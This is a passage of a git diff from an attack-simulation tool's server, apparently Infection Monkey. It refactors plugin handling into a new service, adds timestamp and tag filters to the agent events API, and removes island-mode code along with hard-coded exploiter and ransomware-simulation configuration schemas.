AgentEventSerializerRegistry, +) from common.agent_events import ( AbstractAgentEvent, AgentShutdownEvent, @@ -53,6 +58,7 @@ def __init__( self._serializers = serializer_registry self._encryptor = encryptor self._events_collection.create_index(EVENT_TYPE_FIELD) + self._events_collection.create_index(TIMESTAMP_FIELD) def save_event(self, event: AbstractAgentEvent): try: @@ -107,5 +113,7 @@ def _deserialize(self, mongo_record: Dict[str, Any]) -> AbstractAgentEvent: return serializer.deserialize(mongo_record) def _query_events(self, query: Dict[Any, Any]) -> Sequence[AbstractAgentEvent]: - serialized_events = self._events_collection.find(query, {MONGO_OBJECT_ID_KEY: False}) + serialized_events = self._events_collection.find(query, {MONGO_OBJECT_ID_KEY: False}).sort( + TIMESTAMP_FIELD, pymongo.ASCENDING + ) return list(map(self._deserialize, serialized_events)) diff --git a/monkey/monkey_island/cc/repositories/network_model_update_facade.py b/monkey/monkey_island/cc/repositories/network_model_update_facade.py index 290472b3ffa..ea96582ed4b 100644 --- a/monkey/monkey_island/cc/repositories/network_model_update_facade.py +++ b/monkey/monkey_island/cc/repositories/network_model_update_facade.py @@ -27,7 +27,7 @@ def __init__( self._machine_repository = machine_repository self._node_repository = node_repository - def get_or_create_target_machine(self, target: IPv4Address): + def get_or_create_target_machine(self, target: IPv4Address) -> Machine: """ Gets or creates a target machine from an IP address diff --git a/monkey/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py index d94a873d866..291288e4667 100644 --- a/monkey/monkey_island/cc/resources/__init__.py +++ b/monkey/monkey_island/cc/resources/__init__.py @@ -3,8 +3,6 @@ from .reset_agent_configuration import ResetAgentConfiguration from .propagation_credentials import PropagationCredentials from .agent_events import AgentEvents -from .agent_plugins import AgentPlugins -from .agent_plugins_manifest import AgentPluginsManifest from .agents import Agents from .agent_signals import AgentSignals, TerminateAllAgents from .machines import Machines diff --git a/monkey/monkey_island/cc/resources/agent_events.py b/monkey/monkey_island/cc/resources/agent_events.py index a09e967a0b6..f08f816125c 100644 --- a/monkey/monkey_island/cc/resources/agent_events.py +++ b/monkey/monkey_island/cc/resources/agent_events.py @@ -1,4 +1,6 @@ import logging +import re +from bisect import bisect_left, bisect_right from http import HTTPStatus from typing import Iterable, Optional, Sequence, Tuple, Type @@ -6,7 +8,7 @@ from flask_security import auth_token_required, roles_accepted from common.agent_event_serializers import EVENT_TYPE_FIELD, AgentEventSerializerRegistry -from common.agent_events import AbstractAgentEvent, AgentEventRegistry +from common.agent_events import EVENT_TAG_REGEX, AbstractAgentEvent, AgentEventRegistry from common.event_queue import IAgentEventQueue from common.types import JSONSerializable from monkey_island.cc.flask_utils import AbstractResource @@ -34,17 +36,23 @@ def __init__( @auth_token_required @roles_accepted(AccountRole.AGENT.name) def post(self): - events = request.json + serialized_events = request.json + deserialized_events = [] - for event in events: + logger.debug(f"Deserializing {len(serialized_events)} events") + for event in serialized_events: try: serializer = self._event_serializer_registry[event[EVENT_TYPE_FIELD]] - deserialized_event = serializer.deserialize(event) + deserialized_events.append(serializer.deserialize(event)) except (TypeError, ValueError) as err: logger.exception(f"Error occurred while deserializing an event {event}: {err}") return {"error": str(err)}, HTTPStatus.BAD_REQUEST + logger.debug(f"Completed deserialization of {len(serialized_events)} events") + logger.debug(f"Publishing {len(deserialized_events)} events to the queue") + for deserialized_event in deserialized_events: self._agent_event_queue.publish(deserialized_event) + logger.debug(f"Completed publishing {len(deserialized_events)} events to the queue") return {}, HTTPStatus.NO_CONTENT @@ -52,11 +60,11 @@ def post(self): @roles_accepted(AccountRole.ISLAND_INTERFACE.name) def get(self): try: - type_, success = self._parse_event_filter_args() + type_, tag, success, timestamp_constraint = self._parse_event_filter_args() except Exception as err: return {"error": str(err)}, HTTPStatus.UNPROCESSABLE_ENTITY - events = self._get_filtered_events(type_, success) + events = self._get_filtered_events(type_, tag, success, timestamp_constraint) try: serialized_events = self._serialize_events(events) @@ -65,15 +73,41 @@ def get(self): return serialized_events, HTTPStatus.OK - def _parse_event_filter_args(self) -> Tuple[Optional[Type[AbstractAgentEvent]], Optional[bool]]: + def _parse_event_filter_args( + self, + ) -> Tuple[ + Optional[Type[AbstractAgentEvent]], + Optional[str], + Optional[bool], + Optional[Tuple[str, float]], + ]: type_arg = request.args.get("type", None) + tag_arg = request.args.get("tag", None) success_arg = request.args.get("success", None) + timestamp_arg = request.args.get("timestamp", None) + + type_ = self._parse_type_arg(type_arg) + tag = self._parse_tag_arg(tag_arg) + success = self._parse_success_arg(success_arg) + timestamp_constraint = self._parse_timestamp_arg(timestamp_arg) + return type_, tag, success, timestamp_constraint + + def _parse_type_arg(self, type_arg: Optional[str]) -> Optional[Type[AbstractAgentEvent]]: try: type_ = None if type_arg is None else self._agent_event_registry[type_arg] except KeyError: - raise Exception("Unknown agent event type {type_}") + raise ValueError(f'Unknown agent event type "{type_arg}"') + + return type_ + + def _parse_tag_arg(self, tag_arg: Optional[str]) -> Optional[str]: + if tag_arg and not re.match(pattern=re.compile(EVENT_TAG_REGEX), string=tag_arg): + raise ValueError(f'Invalid event tag "{tag_arg}"') + return tag_arg + + def _parse_success_arg(self, success_arg: Optional[str]) -> Optional[bool]: if success_arg is None: success = None elif success_arg == "true": @@ -81,27 +115,83 @@ def _parse_event_filter_args(self) -> Tuple[Optional[Type[AbstractAgentEvent]], elif success_arg == "false": success = False else: - raise Exception( + raise ValueError( f'Invalid value for success "{success_arg}", expected "true" or "false"' ) - return type_, success + return success + + def _parse_timestamp_arg(self, timestamp_arg: Optional[str]) -> Optional[Tuple[str, float]]: + if timestamp_arg is None: + timestamp_constraint = None + else: + operator, timestamp = timestamp_arg.split(":") + if not operator or not timestamp or operator not in ("gt", "lt"): + raise ValueError( + f'Invalid timestamp argument "{timestamp_arg}", ' + 'expected format: "{gt,lt}:"' + ) + try: + timestamp_constraint = (operator, float(timestamp)) + except Exception: + raise ValueError( + f'Invalid timestamp argument "{timestamp_arg}", ' + "expected timestamp to be a number" + ) + + return timestamp_constraint def _get_filtered_events( - self, type_: Optional[Type[AbstractAgentEvent]], success: Optional[bool] + self, + type_: Optional[Type[AbstractAgentEvent]], + tag: Optional[str], + success: Optional[bool], + timestamp_constraint: Optional[Tuple[str, float]], ) -> Sequence[AbstractAgentEvent]: - if type_ is not None: - events: Sequence[AbstractAgentEvent] = self._agent_event_repository.get_events_by_type( - type_ - ) + if type_ is not None and tag is not None: + events = self._get_events_filtered_by_type_and_tag(type_, tag) + elif type_ is not None and tag is None: + events = self._agent_event_repository.get_events_by_type(type_) + elif type_ is None and tag is not None: + events = self._agent_event_repository.get_events_by_tag(tag) else: events = self._agent_event_repository.get_events() if success is not None: - events = list(filter(lambda e: hasattr(e, "success") and e.success is success, events)) # type: ignore[attr-defined] # noqa: E501 + events = self._filter_events_by_success(events, success) + + if timestamp_constraint is not None: + events = self._filter_events_by_timestamp(events, timestamp_constraint) return events + def _get_events_filtered_by_type_and_tag( + self, type_: Type[AbstractAgentEvent], tag: str + ) -> Sequence[AbstractAgentEvent]: + events_by_type = set(self._agent_event_repository.get_events_by_type(type_)) + events_by_tag = set(self._agent_event_repository.get_events_by_tag(tag)) + + intersection = events_by_type.intersection(events_by_tag) + return sorted(intersection, key=lambda x: x.timestamp) + + def _filter_events_by_success( + self, events: Sequence[AbstractAgentEvent], success: bool + ) -> Sequence[AbstractAgentEvent]: + return list(filter(lambda e: hasattr(e, "success") and e.success is success, events)) + + def _filter_events_by_timestamp( + self, events: Sequence[AbstractAgentEvent], timestamp_constraint: Tuple[str, float] + ) -> Sequence[AbstractAgentEvent]: + operator, timestamp = timestamp_constraint + + bisect_fn = bisect_left if operator == "lt" else bisect_right + separation_point = bisect_fn(events, timestamp, key=lambda event: event.timestamp) + + if operator == "lt": + return events[:separation_point] + + return events[separation_point:] + def _serialize_events(self, events: Iterable[AbstractAgentEvent]) -> JSONSerializable: serialized_events = [] diff --git a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py index c99a64795c0..376a43a32e3 100644 --- a/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/resources/exploitations/monkey_exploitation.py @@ -3,11 +3,8 @@ from flask_security import auth_token_required, roles_accepted from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.repositories import ( - IAgentEventRepository, - IAgentPluginRepository, - IMachineRepository, -) +from monkey_island.cc.repositories import IAgentEventRepository, IMachineRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_monkey_exploited, @@ -21,11 +18,11 @@ def __init__( self, event_repository: IAgentEventRepository, machine_repository: IMachineRepository, - agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, ): self._event_repository = event_repository self._machine_repository = machine_repository - self._agent_plugin_repository = agent_plugin_repository + self._agent_plugin_service = agent_plugin_service @auth_token_required @roles_accepted(AccountRole.ISLAND_INTERFACE.name) @@ -33,7 +30,7 @@ def get(self): monkey_exploitations = [ asdict(exploitation) for exploitation in get_monkey_exploited( - self._event_repository, self._machine_repository, self._agent_plugin_repository + self._event_repository, self._machine_repository, self._agent_plugin_service ) ] return {"monkey_exploitations": monkey_exploitations} diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py deleted file mode 100644 index ead8bae57c3..00000000000 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ /dev/null @@ -1,44 +0,0 @@ -import json -import logging -from http import HTTPStatus - -from flask import request -from flask_security import auth_token_required, roles_accepted - -from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic -from monkey_island.cc.flask_utils import AbstractResource, responses -from monkey_island.cc.models import IslandMode as IslandModeEnum -from monkey_island.cc.repositories import ISimulationRepository -from monkey_island.cc.services.authentication_service import AccountRole - -logger = logging.getLogger(__name__) - - -class IslandMode(AbstractResource): - urls = ["/api/island/mode"] - - def __init__( - self, - island_event_queue: IIslandEventQueue, - simulation_repository: ISimulationRepository, - ): - self._island_event_queue = island_event_queue - self._simulation_repository = simulation_repository - - @auth_token_required - @roles_accepted(AccountRole.ISLAND_INTERFACE.name) - def put(self): - try: - mode = IslandModeEnum(request.json) - self._island_event_queue.publish(topic=IslandEventTopic.SET_ISLAND_MODE, mode=mode) - return {}, HTTPStatus.NO_CONTENT - except (AttributeError, json.decoder.JSONDecodeError): - return responses.make_response_to_invalid_request() - except ValueError: - return {}, HTTPStatus.UNPROCESSABLE_ENTITY - - @auth_token_required - @roles_accepted(AccountRole.ISLAND_INTERFACE.name) - def get(self): - island_mode = self._simulation_repository.get_mode() - return island_mode.value, HTTPStatus.OK diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index df30cf1d0ab..22bb5332974 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,11 +2,8 @@ from flask_security import auth_token_required, roles_accepted from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.repositories import ( - IAgentEventRepository, - IAgentPluginRepository, - IMachineRepository, -) +from monkey_island.cc.repositories import IAgentEventRepository, IMachineRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService from monkey_island.cc.services.authentication_service import AccountRole from monkey_island.cc.services.ransomware import ransomware_report @@ -18,11 +15,11 @@ def __init__( self, event_repository: IAgentEventRepository, machine_repository: IMachineRepository, - agent_plugin_repository: IAgentPluginRepository, + agent_plugin_service: IAgentPluginService, ): self._event_repository = event_repository self._machine_repository = machine_repository - self._agent_plugin_repository = agent_plugin_repository + self._agent_plugin_service = agent_plugin_service @auth_token_required @roles_accepted(AccountRole.ISLAND_INTERFACE.name) @@ -30,7 +27,7 @@ def get(self): return jsonify( { "propagation_stats": ransomware_report.get_propagation_stats( - self._event_repository, self._machine_repository, self._agent_plugin_repository + self._event_repository, self._machine_repository, self._agent_plugin_service ), } ) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 45a21f481bf..84f657d6934 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -102,7 +102,11 @@ def _configure_logging(config_options): def _collect_system_info() -> Tuple[Sequence[IPv4Address], Deployment, Version]: deployment = _get_deployment() + logger.info(f"Monkey Island deployment: {deployment}") + version = Version(get_version(), deployment) + logger.info(f"Monkey Island version: {version.version_number}") + return (get_my_ip_addresses(), deployment, version) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 0030dc223f6..4d961ecf057 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -36,8 +36,6 @@ def _get_monkey_island_abs_path() -> str: DEFAULT_LOG_LEVEL = "INFO" -PLUGIN_DIR_NAME = "plugins" - DEFAULT_START_MONGO_DB = True DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index 2b75829b5c7..4c808cb370e 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -12,10 +12,15 @@ from .agent_configuration_service import ( register_resources as register_agent_configuration_resources, ) + from .agent_binary_service import IAgentBinaryService from .agent_binary_service import build as build_agent_binary_service from .agent_binary_service import ( register_resources as register_agent_binary_resources, ) +from .agent_plugin_service import IAgentPluginService, AgentPluginService +from .agent_plugin_service import register_resources as register_agent_plugin_resources +from .agent_plugin_service import build as build_agent_plugin_service + from .log_service import setup_log_service diff --git a/monkey/monkey_island/cc/services/agent_binary_service/build.py b/monkey/monkey_island/cc/services/agent_binary_service/build.py index 280ac5967f0..c220e918162 100644 --- a/monkey/monkey_island/cc/services/agent_binary_service/build.py +++ b/monkey/monkey_island/cc/services/agent_binary_service/build.py @@ -5,7 +5,6 @@ from common import DIContainer, OperatingSystem from common.utils.file_utils import get_binary_io_sha256_hash -from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.repositories import ( FileRepositoryCachingDecorator, FileRepositoryLockingDecorator, @@ -19,7 +18,6 @@ from . import IAgentBinaryService from .agent_binary_repository import AgentBinaryRepository from .agent_binary_service import AgentBinaryService -from .event_handlers import reset_masque_on_island_mode_change from .i_agent_binary_repository import IAgentBinaryRepository from .mongo_masquerade_repository import MongoMasqueradeRepository @@ -32,8 +30,6 @@ def build(container: DIContainer) -> IAgentBinaryService: masquerade_repository = MongoMasqueradeRepository(container.resolve(MongoClient)) agent_binary_service = AgentBinaryService(agent_binary_repository, masquerade_repository) - _register_event_handlers(container.resolve(IIslandEventQueue), agent_binary_service) - return agent_binary_service @@ -73,11 +69,3 @@ def _log_agent_binary_hashes(agent_binary_repository: IAgentBinaryRepository): for os, binary_sha256_hash in agent_hashes.items(): logger.info(f"{os} agent: SHA-256 hash: {binary_sha256_hash}") - - -def _register_event_handlers( - island_event_queue: IIslandEventQueue, agent_binary_service: IAgentBinaryService -): - island_event_queue.subscribe( - IslandEventTopic.SET_ISLAND_MODE, reset_masque_on_island_mode_change(agent_binary_service) - ) diff --git a/monkey/monkey_island/cc/services/agent_binary_service/event_handlers.py b/monkey/monkey_island/cc/services/agent_binary_service/event_handlers.py deleted file mode 100644 index 81231c16953..00000000000 --- a/monkey/monkey_island/cc/services/agent_binary_service/event_handlers.py +++ /dev/null @@ -1,20 +0,0 @@ -from common import OperatingSystem -from monkey_island.cc.models import IslandMode - -from . import IAgentBinaryService - - -class reset_masque_on_island_mode_change: - """ - Callable class that sets the default Agent configuration as per the Island's mode - """ - - def __init__( - self, - agent_binary_service: IAgentBinaryService, - ): - self._agent_binary_service = agent_binary_service - - def __call__(self, mode: IslandMode): - for operating_system in OperatingSystem: - self._agent_binary_service.set_masque(operating_system, None) diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py b/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py index 87df65116e3..a2f57ba5020 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/agent_configuration_schema_compiler.py @@ -3,20 +3,14 @@ import dpath -from common import HARD_CODED_EXPLOITER_MANIFESTS from common.agent_configuration import AgentConfiguration from common.agent_plugins import AgentPluginManifest, AgentPluginType -from common.hard_coded_manifests import HARD_CODED_PAYLOADS_MANIFESTS from common.hard_coded_manifests.hard_coded_fingerprinter_manifests import ( HARD_CODED_FINGERPRINTER_MANIFESTS, ) -from monkey_island.cc.repositories import IAgentPluginRepository +from monkey_island.cc.services.agent_plugin_service import IAgentPluginService -from .hard_coded_schemas import ( - HARD_CODED_EXPLOITER_SCHEMAS, - HARD_CODED_FINGERPRINTER_SCHEMAS, - HARD_CODED_PAYLOADS_SCHEMAS, -) +from .hard_coded_schemas import HARD_CODED_FINGERPRINTER_SCHEMAS PLUGIN_PATH_IN_SCHEMA = { AgentPluginType.EXPLOITER: "definitions.ExploitationConfiguration.properties.exploiters", @@ -27,8 +21,8 @@ class AgentConfigurationSchemaCompiler: - def __init__(self, agent_plugin_repository: IAgentPluginRepository): - self._agent_plugin_repository = agent_plugin_repository + def __init__(self, agent_plugin_service: IAgentPluginService): + self._agent_plugin_service = agent_plugin_service def get_schema(self) -> Dict[str, Any]: try: @@ -46,24 +40,19 @@ def _add_plugins(self, schema: Dict[str, Any]) -> Dict[str, Any]: # proper plugins schema = self._add_hard_coded_plugins(schema) - config_schemas = deepcopy( - self._agent_plugin_repository.get_all_plugin_configuration_schemas() - ) + config_schemas = deepcopy(self._agent_plugin_service.get_all_plugin_configuration_schemas()) + all_plugin_manifests = self._agent_plugin_service.get_all_plugin_manifests() for plugin_type in config_schemas.keys(): for plugin_name in config_schemas[plugin_type].keys(): config_schema = config_schemas[plugin_type][plugin_name] - plugin_manifest = self._agent_plugin_repository.get_all_plugin_manifests()[ - plugin_type - ][plugin_name] + plugin_manifest = all_plugin_manifests[plugin_type][plugin_name] config_schema.update(plugin_manifest.dict(simplify=True)) schema = self._add_plugin_to_schema(schema, plugin_type, plugin_name, config_schema) return schema def _add_hard_coded_plugins(self, schema: Dict[str, Any]) -> Dict[str, Any]: - schema = self._add_non_plugin_exploiters(schema) schema = self._add_non_plugin_fingerprinters(schema) - schema = self._add_non_plugin_payloads(schema) return schema def _add_properties_field_to_plugin_types(self, schema: Dict[str, Any]) -> Dict[str, Any]: @@ -80,16 +69,6 @@ def _add_manifests_to_plugins_schema( schema[plugin_name].update(manifest.dict(simplify=True)) return schema - def _add_non_plugin_exploiters(self, schema: Dict[str, Any]) -> Dict[str, Any]: - properties = dpath.get( - schema, PLUGIN_PATH_IN_SCHEMA[AgentPluginType.EXPLOITER] + ".properties", "." - ) - exploiter_schemas = self._add_manifests_to_plugins_schema( - HARD_CODED_EXPLOITER_SCHEMAS, HARD_CODED_EXPLOITER_MANIFESTS - ) - properties.update(exploiter_schemas) - return schema - def _add_non_plugin_fingerprinters(self, schema: Dict[str, Any]) -> Dict[str, Any]: properties = dpath.get( schema, PLUGIN_PATH_IN_SCHEMA[AgentPluginType.FINGERPRINTER] + ".properties", "." @@ -100,16 +79,6 @@ def _add_non_plugin_fingerprinters(self, schema: Dict[str, Any]) -> Dict[str, An properties.update(fingerprinter_schemas) return schema - def _add_non_plugin_payloads(self, schema: Dict[str, Any]) -> Dict[str, Any]: - properties = dpath.get( - schema, PLUGIN_PATH_IN_SCHEMA[AgentPluginType.PAYLOAD] + ".properties", "." - ) - payload_schemas = self._add_manifests_to_plugins_schema( - HARD_CODED_PAYLOADS_SCHEMAS, HARD_CODED_PAYLOADS_MANIFESTS - ) - properties.update(payload_schemas) - return schema - def _add_plugin_to_schema( self, schema: Dict[str, Any], diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/build.py b/monkey/monkey_island/cc/services/agent_configuration_service/build.py index 6526946817a..470fa047ba1 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/build.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/build.py @@ -5,7 +5,7 @@ from .agent_configuration_schema_compiler import AgentConfigurationSchemaCompiler from .agent_configuration_service import AgentConfigurationService from .agent_configuration_validation_decorator import AgentConfigurationValidationDecorator -from .event_handlers import reset_agent_configuration, set_agent_configuration_per_island_mode +from .event_handlers import reset_agent_configuration from .file_agent_configuration_repository import FileAgentConfigurationRepository from .i_agent_configuration_repository import IAgentConfigurationRepository @@ -49,7 +49,3 @@ def _register_event_handlers(container: DIContainer) -> None: IslandEventTopic.RESET_AGENT_CONFIGURATION, container.resolve(reset_agent_configuration), ) - island_event_queue.subscribe( - IslandEventTopic.SET_ISLAND_MODE, - container.resolve(set_agent_configuration_per_island_mode), - ) diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/event_handlers.py b/monkey/monkey_island/cc/services/agent_configuration_service/event_handlers.py index 0fa1efa1569..7353eb67de1 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/event_handlers.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/event_handlers.py @@ -1,6 +1,3 @@ -from common.agent_configuration import AgentConfiguration -from monkey_island.cc.models import IslandMode - from . import IAgentConfigurationService @@ -18,29 +15,3 @@ def __init__( def __call__(self): self._agent_configuration_service.reset_to_default() - - -class set_agent_configuration_per_island_mode: - """ - Callable class that sets the default Agent configuration as per the Island's mode - """ - - def __init__( - self, - agent_configuration_service: IAgentConfigurationService, - default_agent_configuration: AgentConfiguration, - default_ransomware_agent_configuration: AgentConfiguration, - ): - self._agent_configuration_service = agent_configuration_service - self._default_agent_configuration = default_agent_configuration - self._default_ransomware_agent_configuration = default_ransomware_agent_configuration - - def __call__(self, mode: IslandMode): - if mode == IslandMode.RANSOMWARE: - self._agent_configuration_service.update_configuration( - self._default_ransomware_agent_configuration - ) - else: - self._agent_configuration_service.update_configuration( - self._default_agent_configuration - ) diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py index 714dac4433f..e389c27394e 100644 --- a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py +++ b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/__init__.py @@ -1,3 +1 @@ -from .hard_coded_exploiter_schemas import HARD_CODED_EXPLOITER_SCHEMAS from .hard_coded_fingerprinter_schemas import HARD_CODED_FINGERPRINTER_SCHEMAS -from .hard_coded_payloads_schemas import HARD_CODED_PAYLOADS_SCHEMAS diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py deleted file mode 100644 index c6a086c4327..00000000000 --- a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_exploiter_schemas.py +++ /dev/null @@ -1,10 +0,0 @@ -HARD_CODED_EXPLOITER_SCHEMAS = { - "Log4ShellExploiter": { - "type": "object", - "properties": {}, - }, - "SSHExploiter": { - "type": "object", - "properties": {}, - }, -} diff --git a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_payloads_schemas.py b/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_payloads_schemas.py deleted file mode 100644 index 9d5362d5add..00000000000 --- a/monkey/monkey_island/cc/services/agent_configuration_service/hard_coded_schemas/hard_coded_payloads_schemas.py +++ /dev/null @@ -1,63 +0,0 @@ -HARD_CODED_PAYLOADS_SCHEMAS = { - "ransomware": { - "type": "object", - "properties": { - "encryption": { - "type": "object", - "properties": { - "enabled": { - "title": " Encrypt files", - "type": "boolean", - "default": True, - "description": "Ransomware encryption will be simulated by flipping every " - "bit in the files contained within the target directories.", - }, - "file_extension": { - "title": "File extension", - "type": "string", - "format": "valid-file-extension", - "default": ".m0nk3y", - "description": "The file extension that the Infection Monkey will use for " - "the encrypted file.", - }, - "directories": { - "title": "Directories to encrypt", - "type": "object", - "properties": { - "linux_target_dir": { - "title": "Linux target directory", - "type": "string", - "format": "valid-ransomware-target-path-linux", - "default": "", - "description": "A path to a directory on Linux systems that " - "contains files you will allow Infection Monkey to encrypt. If no " - "directory is specified, no files will be encrypted.", - }, - "windows_target_dir": { - "title": "Windows target directory", - "type": "string", - "format": "valid-ransomware-target-path-windows", - "default": "", - "description": "A path to a directory on Windows systems that " - "contains files you will allow Infection Monkey to encrypt. If no " - "directory is specified, no files will be encrypted.", - }, - }, - }, - }, - }, - "other_behaviors": { - "title": "Other ransomware behavior", - "type": "object", - "properties": { - "readme": { - "title": "Create a README.txt file", - "type": "boolean", - "default": True, - "description": "Creates a README.txt ransomware note on infected systems.", - } - }, - }, - }, - } -} diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/__init__.py b/monkey/monkey_island/cc/services/agent_plugin_service/__init__.py new file mode 100644 index 00000000000..ae4ce690551 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/__init__.py @@ -0,0 +1,4 @@ +from .i_agent_plugin_service import IAgentPluginService +from .agent_plugin_service import AgentPluginService +from .flask_resources import register_resources +from .build import build diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/agent_plugin_repository_logging_decorator.py b/monkey/monkey_island/cc/services/agent_plugin_service/agent_plugin_repository_logging_decorator.py new file mode 100644 index 00000000000..a2b21af015b --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/agent_plugin_repository_logging_decorator.py @@ -0,0 +1,58 @@ +import logging +from typing import Any, Dict, Optional + +from common import OperatingSystem +from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType, PluginName + +from .i_agent_plugin_repository import IAgentPluginRepository + +logger = logging.getLogger(__name__) + + +class AgentPluginRepositoryLoggingDecorator(IAgentPluginRepository): + """ + An IAgentPluginRepository decorator that provides debug logging for other + IAgentPluginRepositories + """ + + def __init__(self, agent_plugin_repository: IAgentPluginRepository): + self._agent_plugin_repository = agent_plugin_repository + + def get_plugin( + self, host_operating_system: OperatingSystem, plugin_type: AgentPluginType, name: PluginName + ) -> AgentPlugin: + logger.debug(f"Retrieving plugin {name} of type {plugin_type}") + return self._agent_plugin_repository.get_plugin(host_operating_system, plugin_type, name) + + def get_all_plugin_configuration_schemas( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, Dict[str, Any]]]: + logger.debug("Retrieving plugin configuration schemas") + return self._agent_plugin_repository.get_all_plugin_configuration_schemas() + + def get_all_plugin_manifests( + self, + ) -> Dict[AgentPluginType, Dict[PluginName, AgentPluginManifest]]: + logger.debug("Retrieving plugin manifests") + return self._agent_plugin_repository.get_all_plugin_manifests() + + def store_agent_plugin(self, operating_system: OperatingSystem, agent_plugin: AgentPlugin): + logger.debug( + f"Storing {agent_plugin.plugin_manifest.name} " + f"for operating system: {operating_system}" + ) + return self._agent_plugin_repository.store_agent_plugin(operating_system, agent_plugin) + + def remove_agent_plugin( + self, + agent_plugin_type: AgentPluginType, + agent_plugin_name: PluginName, + operating_system: Optional[OperatingSystem] = None, + ): + logger.debug( + f"Removing {agent_plugin_name} of type {agent_plugin_type} " + f"for operating system: {operating_system}" + ) + return self._agent_plugin_repository.remove_agent_plugin( + agent_plugin_type, agent_plugin_name, operating_system + ) diff --git a/monkey/monkey_island/cc/services/agent_plugin_service/agent_plugin_service.py b/monkey/monkey_island/cc/services/agent_plugin_service/agent_plugin_service.py new file mode 100644 index 00000000000..f418902a6a5 --- /dev/null +++ b/monkey/monkey_island/cc/services/agent_plugin_service/agent_plugin_service.py @@ -0,0 +1,168 @@ +import io +import logging +from threading import Lock +from typing import Any, Dict, List + +import requests +import yaml + +from common import OperatingSystem +from common.agent_plugins import ( + AgentPlugin, + AgentPluginManifest, + AgentPluginMetadata, + AgentPluginRepositoryIndex, + AgentPluginType, + PluginName, + PluginVersion, +) +from common.decorators import request_cache +from common.utils.file_utils import get_binary_io_sha256_hash +from monkey_island.cc import Version +from monkey_island.cc.deployment import Deployment +from monkey_island.cc.repositories import RetrievalError + +from . import IAgentPluginService +from .errors import PluginInstallationError, PluginUninstallationError +from .i_agent_plugin_repository import IAgentPluginRepository +from .plugin_archive_parser import parse_plugin + +AGENT_PLUGIN_REPOSITORY_DEVELOP_URL = "https://monkey-plugins-develop.s3.amazonaws.com" +AGENT_PLUGIN_REPOSITORY_RELEASE_2_3_0_URL = "https://s3.amazonaws.com/monkey-plugins-release-2.3.0" +INDEX_FILE_NAME = "index.yml" + +PLUGIN_TTL = 60 * 60 # if the index is older then hour we refresh the index + +logger = logging.getLogger(__name__) + + +class AgentPluginService(IAgentPluginService): + """ + A service for retrieving and manipulating Agent plugins + """ + + def __init__( + self, + agent_plugin_repository: IAgentPluginRepository, + version: Version, + ): + self._agent_plugin_repository = agent_plugin_repository + self._lock = Lock() + + self._plugin_repository_url = AGENT_PLUGIN_REPOSITORY_RELEASE_2_3_0_URL + if version.deployment == Deployment.DEVELOP: + self._plugin_repository_url = AGENT_PLUGIN_REPOSITORY_DEVELOP_URL + + logger.info(f"Agent plugins will be downloaded from {self._plugin_repository_url}") + + # Since the request_cache decorator maintains state, we must decorate the method in the + # constructor, otherwise all instances of this class will share the same cache. + self._download_index = request_cache(PLUGIN_TTL)(self._download_index) # type: ignore [assignment] # noqa: E501 + + def get_plugin( + self, + host_operating_system: OperatingSystem, + plugin_type: AgentPluginType, + plugin_name: 